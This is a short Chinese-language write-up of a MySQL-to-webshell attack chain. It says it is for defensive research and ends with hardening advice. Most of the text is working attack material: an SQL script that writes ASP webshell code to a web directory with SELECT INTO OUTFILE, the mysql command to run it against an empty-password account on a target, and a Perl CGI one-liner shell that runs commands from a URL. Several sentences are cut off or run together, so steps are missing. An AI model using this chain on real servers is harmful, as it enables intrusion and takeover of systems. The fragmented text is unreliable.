攻擊場景:獲取目標 MySQL 空密碼帳號(如 root@% 或匿名用戶),利用 SELECT ... INTO OUTFILE 將精心構造的 ASP/WebShell 代碼寫入 Web 目錄,進而獲得系統 Shell。本文還原完整攻擊鏈,僅供防禦研究與審計排查參考。
FILE 權限(預設 root 擁有)。cmd.sql):創建臨時表,逐行 INSERT WebShell 代碼(單行插入避免引號/換行轉義問題),最後 SELECT * INTO OUTFILE 'C:\\www\\www\\shell.asp' 寫入文件,刪除臨時表。
USE test;
CREATE TABLE tmp (cmd TEXT);
INSERT INTO tmp VALUES ('<%@ Language=VBScript %>');
INSERT INTO tmp VALUES ('<%');
...(逐行插入完整 ASP Shell 代碼)...
SELECT * FROM tmp INTO OUTFILE 'C:\\www\\www\\234.asp';
DROP TABLE tmp;
mysql -u user -p -h target_ip < cmd.sql
密碼為空直接回車。若返回無錯誤,文件寫入成功。
https://target/234.asp,獲得低權限 WebShell。234.cgi(內容 #!/usr/bin/perl\nsystem @ARGV;),通過 https://target/234.cgi?dir c:\\ 執行命令。DELETE FROM user WHERE Password='' OR Password IS NULL; FLUSH PRIVILEGES;UPDATE user SET File_priv='N' WHERE User!='root'; FLUSH PRIVILEGES;(或僅保留專用備份帳號)。secure_file_priv 限制導出目錄,設為空字符串禁用。此攻擊鏈經典且殺傷力大,歷史上無數入侵事件由此發端。資料庫最小權限、網絡微隔離、文件系統權限分離,三位一體方能有效阻斷。